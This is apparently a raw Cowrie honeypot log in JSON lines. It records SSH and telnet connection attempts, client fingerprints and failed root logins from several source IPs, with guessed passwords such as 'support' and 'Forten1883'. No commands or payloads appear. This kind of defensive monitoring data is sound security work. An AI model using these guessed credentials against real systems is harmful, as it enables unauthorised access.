{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:52:7b:6e:6c:de:d5:ca:4d:95:40:10:e0:6d:a9:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDec4qYAgZ09EfDrVf8h5J3GG/eLjztvc9Bk30V24pi//xpgsi7j00PkhI773gTCxXELQJE8d2gdX4NNgcNqQIHYv/YsBfyZyhgOoPGNmQzvSobQXTt0jUuVtjOl0Ppt9AHhzx1I12/V82EBnLhjQmCVCtki/QtyoyXxdMuvCMqlradGGz1bFZlA+z4S7GObEvJUhNMYHdtDXipaHKm3y14SQRja2TE79Q1CJy/NwpHr7IFt/41p2Kst9te1rvUQGt/uz0GoT21JZ1kDeog4N7zKlIK45I0L3ML7m2SDW7n2TSaDYOigAFKw23tu92KfhYdSGX+0QAtuFZnXrJlo19r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:52:7b:6e:6c:de:d5:ca:4d:95:40:10:e0:6d:a9:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:57.590802Z","src_ip":"168.197.250.14","session":"b50708eeb45b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:52:7b:6e:6c:de:d5:ca:4d:95:40:10:e0:6d:a9:79","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDec4qYAgZ09EfDrVf8h5J3GG/eLjztvc9Bk30V24pi//xpgsi7j00PkhI773gTCxXELQJE8d2gdX4NNgcNqQIHYv/YsBfyZyhgOoPGNmQzvSobQXTt0jUuVtjOl0Ppt9AHhzx1I12/V82EBnLhjQmCVCtki/QtyoyXxdMuvCMqlradGGz1bFZlA+z4S7GObEvJUhNMYHdtDXipaHKm3y14SQRja2TE79Q1CJy/NwpHr7IFt/41p2Kst9te1rvUQGt/uz0GoT21JZ1kDeog4N7zKlIK45I0L3ML7m2SDW7n2TSaDYOigAFKw23tu92KfhYdSGX+0QAtuFZnXrJlo19r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:57.594667Z","src_ip":"168.197.250.14","session":"b50708eeb45b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:ea:ef:20:6b:af:3a:de:bd:90:ca:03:fd:f4:ae:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrmfyfYdMwHeqrX+vpPVlTbvh6DVaDSTP5NW6XrvUAX5HQIUjr4+qvloCnoq98IpPufzjzi06As4ycArE54whZGOYsHQK87CxSdSBkvSJE+hZb3lscbDWNilXARU4kTsTMJBrh6yBnZxtmbt8iIEFHmR8BeqPOSTy/wOtkXbpYFTIqnVi3Tw12IQ52NREGM3Z4mvzXkFR4/sOgTIE7AFQxxH0eJmlDqXG4brQoln4w6jbEVPFBJ7NevZig07c6mq0CmMhmfTsvhb2Wo6rh8ii938xQj2022e3lX/KzIAPest0iDE73yT1zaw7lcEujCcjIO6d+pypJXDpsMwh6/eCD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 22:ea:ef:20:6b:af:3a:de:bd:90:ca:03:fd:f4:ae:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:57.752786Z","src_ip":"168.197.250.14","session":"b50708eeb45b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:ea:ef:20:6b:af:3a:de:bd:90:ca:03:fd:f4:ae:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrmfyfYdMwHeqrX+vpPVlTbvh6DVaDSTP5NW6XrvUAX5HQIUjr4+qvloCnoq98IpPufzjzi06As4ycArE54whZGOYsHQK87CxSdSBkvSJE+hZb3lscbDWNilXARU4kTsTMJBrh6yBnZxtmbt8iIEFHmR8BeqPOSTy/wOtkXbpYFTIqnVi3Tw12IQ52NREGM3Z4mvzXkFR4/sOgTIE7AFQxxH0eJmlDqXG4brQoln4w6jbEVPFBJ7NevZig07c6mq0CmMhmfTsvhb2Wo6rh8ii938xQj2022e3lX/KzIAPest0iDE73yT1zaw7lcEujCcjIO6d+pypJXDpsMwh6/eCD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:57.756998Z","src_ip":"168.197.250.14","session":"b50708eeb45b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:77:2b:59:4b:2b:2c:c6:8c:b2:68:44:28:a6:ca:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQEBitWjQoo0UwTwamvjVot9i1+0QExBCBQO7NaksAeT4VlOD61c7i102He9vedVgO6nbLVTYW2Wk5ysnG9z6ye3tt33WguxLvappYxEGTlziIyULzDp/zedAwbYzXzGFk6QZLz+Le6RcEJuWVyrfYrJTotOTWXeB6tpQ6l3fvMdNXo6Z0rMo/nzjk+q+quLZFB0WpaGDo7zxDFMLRnoOupyqNR0bRNxLmdffKHy79Dd8RIB0P4KpL2IZeQeMqumxAxY7G9Zm/iddlNAjrTglnI+rpCNAfYoVETqAhgSwEhl7/IEdzHRGulEiNMGwy3Fwei+jB5+A9IVYqJpMPMV9B","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:77:2b:59:4b:2b:2c:c6:8c:b2:68:44:28:a6:ca:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:57.914503Z","src_ip":"168.197.250.14","session":"b50708eeb45b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:77:2b:59:4b:2b:2c:c6:8c:b2:68:44:28:a6:ca:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQEBitWjQoo0UwTwamvjVot9i1+0QExBCBQO7NaksAeT4VlOD61c7i102He9vedVgO6nbLVTYW2Wk5ysnG9z6ye3tt33WguxLvappYxEGTlziIyULzDp/zedAwbYzXzGFk6QZLz+Le6RcEJuWVyrfYrJTotOTWXeB6tpQ6l3fvMdNXo6Z0rMo/nzjk+q+quLZFB0WpaGDo7zxDFMLRnoOupyqNR0bRNxLmdffKHy79Dd8RIB0P4KpL2IZeQeMqumxAxY7G9Zm/iddlNAjrTglnI+rpCNAfYoVETqAhgSwEhl7/IEdzHRGulEiNMGwy3Fwei+jB5+A9IVYqJpMPMV9B","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:57.918689Z","src_ip":"168.197.250.14","session":"b50708eeb45b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:fb:e2:d2:68:7b:72:ca:08:31:ce:cf:40:f9:6f:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGffo2M/S7/04azS47gqglllV88wk2uFdQKw5rHng8KQ03isJgH+ksQ0UFf7ckgCoHlLCOcoHa0Q2bSTqrGgATZWOVq7ZpM3kdsbvVQXSoSqFmMFiuP1fPHT4M2CN56uGS3VIL/Ab1InehXlw+2dc/aRyxNbbg4x5lJixbNQiL+7Oqt4b1cn46WZJnBpm068fnlL/wZhX5G/SeTjQe8Zp1+tQPIkL35BeP0S8QE96aHKqH4mwePeLQrJSbRIpx3Yv9FNd4MGKuPy1axgi+q2dbkpQ6/pe79a4XgezjWkcVIdKSVfTjv5O1dRQ94v4TTofUIjh8z1RQmKOtgUjzrLrz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:fb:e2:d2:68:7b:72:ca:08:31:ce:cf:40:f9:6f:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:58.077290Z","src_ip":"168.197.250.14","session":"b50708eeb45b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:fb:e2:d2:68:7b:72:ca:08:31:ce:cf:40:f9:6f:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGffo2M/S7/04azS47gqglllV88wk2uFdQKw5rHng8KQ03isJgH+ksQ0UFf7ckgCoHlLCOcoHa0Q2bSTqrGgATZWOVq7ZpM3kdsbvVQXSoSqFmMFiuP1fPHT4M2CN56uGS3VIL/Ab1InehXlw+2dc/aRyxNbbg4x5lJixbNQiL+7Oqt4b1cn46WZJnBpm068fnlL/wZhX5G/SeTjQe8Zp1+tQPIkL35BeP0S8QE96aHKqH4mwePeLQrJSbRIpx3Yv9FNd4MGKuPy1axgi+q2dbkpQ6/pe79a4XgezjWkcVIdKSVfTjv5O1dRQ94v4TTofUIjh8z1RQmKOtgUjzrLrz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:58.081587Z","src_ip":"168.197.250.14","session":"b50708eeb45b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:58.241860Z","src_ip":"168.197.250.14","session":"b50708eeb45b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.693286418914795,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:13:59.372497Z","src_ip":"192.119.13.58","session":"9061812985f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.6599862575531,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:08.060878Z","src_ip":"192.119.13.58","session":"b411fa8f3cdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":47488,"dst_ip":"159.203.135.109","dst_port":22,"session":"232fbb5893c0","protocol":"ssh","message":"New connection: 43.156.97.164:47488 (159.203.135.109:22) [session: 232fbb5893c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:11.579165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:11.584326Z","src_ip":"43.156.97.164","session":"232fbb5893c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:11.822889Z","src_ip":"43.156.97.164","session":"232fbb5893c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"support","message":"login attempt [root/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:12.809982Z","src_ip":"43.156.97.164","session":"232fbb5893c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.25348138809204,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:13.275836Z","src_ip":"192.119.13.58","session":"374f0eb719da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:14.052365Z","src_ip":"43.156.97.164","session":"232fbb5893c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38032,"dst_ip":"10.17.0.5","dst_port":23,"session":"31e4daf903c9","protocol":"telnet","message":"New connection: 192.119.13.58:38032 (10.17.0.5:23) [session: 31e4daf903c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:16.597960Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40094,"dst_ip":"10.17.0.5","dst_port":23,"session":"593b6d54e845","protocol":"telnet","message":"New connection: 192.119.13.58:40094 (10.17.0.5:23) [session: 593b6d54e845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:17.135554Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45726,"dst_ip":"10.17.0.5","dst_port":23,"session":"32a977cec7e3","protocol":"telnet","message":"New connection: 192.119.13.58:45726 (10.17.0.5:23) [session: 32a977cec7e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:18.418947Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53032,"dst_ip":"10.17.0.5","dst_port":23,"session":"8591c1fe3639","protocol":"telnet","message":"New connection: 192.119.13.58:53032 (10.17.0.5:23) [session: 8591c1fe3639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:33.736483Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54100,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4565b9fddfd","protocol":"telnet","message":"New connection: 192.119.13.58:54100 (10.17.0.5:23) [session: a4565b9fddfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:34.021287Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":60776,"dst_ip":"159.203.135.109","dst_port":22,"session":"241dfbc3e55d","protocol":"ssh","message":"New connection: 41.242.115.83:60776 (159.203.135.109:22) [session: 241dfbc3e55d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:43.005227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:43.010498Z","src_ip":"41.242.115.83","session":"241dfbc3e55d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:43.205335Z","src_ip":"41.242.115.83","session":"241dfbc3e55d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"extrim","message":"login attempt [root/extrim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:44.016023Z","src_ip":"41.242.115.83","session":"241dfbc3e55d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:45.214177Z","src_ip":"41.242.115.83","session":"241dfbc3e55d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49568,"dst_ip":"10.17.0.5","dst_port":23,"session":"83471dff7eee","protocol":"telnet","message":"New connection: 192.119.13.58:49568 (10.17.0.5:23) [session: 83471dff7eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:46.690335Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58206,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe0a30466b39","protocol":"ssh","message":"New connection: 103.176.20.57:58206 (159.203.135.109:22) [session: fe0a30466b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:47.780946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:47.788557Z","src_ip":"103.176.20.57","session":"fe0a30466b39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:48.040544Z","src_ip":"103.176.20.57","session":"fe0a30466b39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56682,"dst_ip":"10.17.0.5","dst_port":23,"session":"90777c902546","protocol":"telnet","message":"New connection: 192.119.13.58:56682 (10.17.0.5:23) [session: 90777c902546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:48.567820Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfrcbvec","message":"login attempt [root/vfrcbvec] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:48.809429Z","src_ip":"103.176.20.57","session":"fe0a30466b39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:50.069730Z","src_ip":"103.176.20.57","session":"fe0a30466b39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.753541707992554,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:55.172353Z","src_ip":"192.119.13.58","session":"32a977cec7e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58226,"dst_ip":"10.17.0.5","dst_port":23,"session":"310a62c82491","protocol":"telnet","message":"New connection: 192.119.13.58:58226 (10.17.0.5:23) [session: 310a62c82491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:56.216777Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58860,"dst_ip":"10.17.0.5","dst_port":23,"session":"07828f1cd674","protocol":"telnet","message":"New connection: 192.119.13.58:58860 (10.17.0.5:23) [session: 07828f1cd674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:56.362731Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":60866,"dst_ip":"159.203.135.109","dst_port":22,"session":"d79392818505","protocol":"ssh","message":"New connection: 193.37.70.224:60866 (159.203.135.109:22) [session: d79392818505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:58.323865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:58.328833Z","src_ip":"193.37.70.224","session":"d79392818505","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:58.427010Z","src_ip":"193.37.70.224","session":"d79392818505","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:58.704884Z","src_ip":"193.37.70.224","session":"d79392818505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.86302208900452,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:59.460839Z","src_ip":"192.119.13.58","session":"31e4daf903c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:14:59.800152Z","src_ip":"193.37.70.224","session":"d79392818505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.93740916252136,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:05.072852Z","src_ip":"192.119.13.58","session":"593b6d54e845","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46494,"dst_ip":"10.17.0.5","dst_port":23,"session":"e22b915cac02","protocol":"telnet","message":"New connection: 192.119.13.58:46494 (10.17.0.5:23) [session: e22b915cac02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:07.185789Z"}
